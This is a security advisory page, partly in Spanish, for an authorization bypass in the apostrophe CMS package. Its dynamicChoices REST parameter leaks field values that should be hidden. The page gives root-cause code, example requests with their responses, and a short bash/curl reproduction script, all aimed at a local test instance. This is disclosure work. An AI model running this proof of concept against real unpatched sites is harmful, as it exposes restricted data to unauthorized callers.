GHSA-X77X-88MC-36VG
Authorization bypass: the dynamicChoices query parameter on the public REST API ignores publicApiProjection and field-level viewPermission
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-X77X-88MC-36VG divulgada | |
| Remediación | Parche 4.34.1 | apostrophe · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
1. Title
Authorization bypass: the `dynamicChoices` query parameter on the public REST API ignores `publicApiProjection` and field-level `viewPermission` (same class as CVE-2026-39857, via an un-gated code path)
2. Summary
The public REST API gates the `choices`/`counts` (and, more recently, `search`/`sort`) query builders so they cannot reveal values of fields hidden by `publicApiProjection` or protected by a field-level `viewPermission`. The sibling `dynamicChoices` query parameter reaches the same class of data through a different code path (`getFilterDynamicChoices`) that performs neither check. An unauthenticated caller (when the piece type sets `publicApiProjection`) or any low-privilege authenticated user can invoke a filter's dynamic `choices` method and read its output reintroducing exactly the disclosure those guards were added to prevent.
3. Technical Details
### Background
A piece type can expose an anonymous read API with `publicApiProjection` (a whitelist of fields unauthenticated callers may see) and can protect individual fields with `viewPermission`. A series of fixes hardened the public REST query builders against leaking restricted field values: CVE-2026-39857 added `choicesFieldAllowedByProjection()` / `choicesFieldAllowedByViewPermission()` for `choices`/`counts`; CVE-2026-33888 fixed the `project` builder; CVE-2026-112954 fixed `search`/`sort`; CVE-2026-63668 fixed a relationship slug-alias gap in the choices/counts guard.
### Expected vs. actual behavior
- Expected: every query-string path that can surface a field's distinct values is gated by the same projection and view-permission checks.
- Actual: the `dynamicChoices` parameter runs `getFilterDynamicChoices()`, which only verifies the filter name exists and then invokes the filter's `choices` method, returning the result with no projection and no view-permission check.
### Root cause
`modules/@apostrophecms/piece-type/index.js` `getAll` handler (installed 4.34.0, around lines 261–289):
const dynamicChoices = self.apos.launder.strings(req.query.dynamicChoices);
// ...
const filterDynamicChoices = await self.apos.schema.getFilterDynamicChoices(
req, dynamicChoices, self // runs unconditionally; NOT gated
);`modules/@apostrophecms/schema/index.js` `getFilterDynamicChoices` (around lines 2721–2758):
async getFilterDynamicChoices(req, dynamicChoices, manager) {
// ...
for (const choice of dynamicChoices) {
const filter = manager.filters.find(f => f.name === choice); // only existence check
if (!filter) { throw self.apos.error('invalid', ...); }
const choices = await self.evaluateMethod(req, filter.choices, filter.name, moduleName, null, true, {}, 'filter');
result[choice] = choices; // returned with NO projection / viewPermission gate
}
return result;
}By contrast, the `choices`/`counts` builder path in `modules/@apostrophecms/doc-type/index.js` (around lines 2864–2869) does call both guards, and the `search`/`sort` path (around line 3397) calls `choicesFieldAllowedByProjection`. `self.filters` is composed once at startup and is never per-request filtered by permission, so on the `dynamicChoices` path the gate is simply absent.
### Relationship to existing advisories (not a duplicate)
This is the same vulnerability class as the publicApiProjection/viewPermission bypass family but via a builder none of the published fixes covered:
- CVE-2026-39857 / GHSA-c276-fj82-f2pq `choices`/`counts` (gated).
- CVE-2026-63668 / GHSA-xmpp-f9v3-r7qh incomplete fix of the above via relationship slug-builder aliases (gated, patched 4.32.0). Different builder; `dynamicChoices` is not a slug alias.
- CVE-2026-112954 / GHSA-rqgm-cfrp-4hx8 `search`/`sort` (gated, patched 4.34.0).
- CVE-2026-33888 / GHSA-xhq9-58fw-859p `project` (gated).
None of these gates `dynamicChoices`. The `getFilterDynamicChoices` path remains ungated in the current release (4.34.0), verified by source inspection and live reproduction (Section 4).
### Confirmed evidence and limitations
- Reproduced at runtime on `apostrophe@4.34.0`, 2026-10-30, anonymously, on a disposable local instance with synthetic data only.
- Preconditions: the piece type defines a filter whose `choices` is a dynamic method (the documented `select`/`checkboxes` dynamic-choices pattern), and the exposed data is meant to be restricted the field carries a `viewPermission` and/or (for the unauthenticated case) the piece type sets a `publicApiProjection` that excludes it.
- Scope note: this discloses the *filter's choice values* (distinct, database-derived labels/values such as categories, tags, relationship targets, statuses), not arbitrary document fields. That is precisely what `viewPermission`/`publicApiProjection` are meant to restrict, and what the sibling guards protect.
4. Proof of Concept
### Environment used
- `apostrophe@4.34.0`, Node.js v22, MongoDB 7 (local), synthetic data only.
- A piece type `article` with:
- `publicApiProjection: { title: 1, slug: 1 }` (hides other fields from anonymous callers),
- a `select` field `secretCategory` with `viewPermission: { action: 'edit', type: 'article' }` and dynamic `choices: 'getSecretCategories'`,
- a filter `secretCategory` using the same dynamic `choices` method, which returns synthetic sensitive labels (`CONFIDENTIAL-...`).
Requests and observed responses (anonymous caller)
# (control) anonymous baseline projection hides secretCategory
GET /api/v1/article
-> results contain only _id, metaType, slug, title, type (no secretCategory / internalNotes)
# (control) anonymous gated path correctly withheld
GET /api/v1/article?choices[]=secretCategory
-> 200, no "choices" key
# (VULNERABLE) anonymous dynamicChoices path leaks the protected values
GET /api/v1/article?dynamicChoices[]=secretCategory
-> 200 { "choices": { "secretCategory": [
{"label":"CONFIDENTIAL-MergerProjectTitan","value":"titan"},
{"label":"CONFIDENTIAL-LayoffRound-Q3","value":"layoff"},
{"label":"CONFIDENTIAL-UnannouncedProduct","value":"nova"} ] } }The permission boundary is genuine (not an always-empty artifact): the gated `?choices[]=secretCategory` path withholds the values for the same anonymous caller, while `?dynamicChoices[]=secretCategory` returns them.
Reproduction script (bash + curl)
#!/usr/bin/env bash
set -euo pipefail
EP="${1:-http://localhost:3000}/api/v1/article"
echo "[*] (1) anonymous gated path : choices[]=secretCategory"
curl -s "$EP?choices[]=secretCategory" | grep -o '"choices":[^}]*}' || echo " -> withheld (no choices key) [EXPECTED]"
echo "[*] (2) anonymous vulnerable : dynamicChoices[]=secretCategory"
curl -s "$EP?dynamicChoices[]=secretCategory" | grep -o 'CONFIDENTIAL[^"]*' \
&& echo " -> VULNERABLE: confidential values disclosed to anonymous caller" \
|| echo " -> not vulnerable"## 5. Impact
Any caller who can reach `getAll` anonymous when the piece type sets `publicApiProjection`, or any authenticated user regardless of role otherwise can invoke the dynamic `choices` method of any registered filter and read its output, bypassing both `publicApiProjection` and the field's `viewPermission`. The attacker controls which filter method runs (any filter whose `choices` is a method). Dynamic filter choices commonly enumerate database-derived values (categories, tags, statuses, relationship targets, names), which is exactly what these controls are meant to restrict.
## 6. Affected Versions
- Ecosystem: npm
- Package: `apostrophe`
- Affected: confirmed on 4.34.0 (latest). The `dynamicChoices` path has been ungated since the projection/view-permission guards were introduced for the sibling builders; it remains ungated in current source.
- Patched: none known.
## 7. Severity
Moderate. Proposed vector `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` = 5.3 matching the sibling CVE-2026-39857 (also 5.3). Information disclosure only; no integrity or availability impact. Final scoring is the maintainers' to confirm.
## 8. Weaknesses (CWE)
- CWE-862: Missing Authorization
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
## 9. Suggested remediation
In `getFilterDynamicChoices` (or at the `getAll` call site), for each requested filter apply the same gates used by the `choices`/`counts` builder path: `choicesFieldAllowedByViewPermission(req, filter.name)` and, for public callers, `choicesFieldAllowedByProjection(filter.name, effectivePublicApiProjection)`; skip (do not invoke) any filter that fails either check. Keeping the two code paths in sync closes this family of disclosures on the public REST API.
## 10. References
- `modules/@apostrophecms/piece-type/index.js` (`getAll`), `modules/@apostrophecms/schema/index.js` (`getFilterDynamicChoices`), `modules/@apostrophecms/doc-type/index.js` (`choicesFieldAllowedByProjection` / `choicesFieldAllowedByViewPermission`)
- Same class as CVE-2026-39857, CVE-2026-63668, CVE-2026-112954, CVE-2026-33888 (each a different, now-gated builder)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmapostrophe |
Corregida | 4.34.1 | 0 d | 4.34.1 no afectada |
4.34.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-x77x-88mc-36vgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
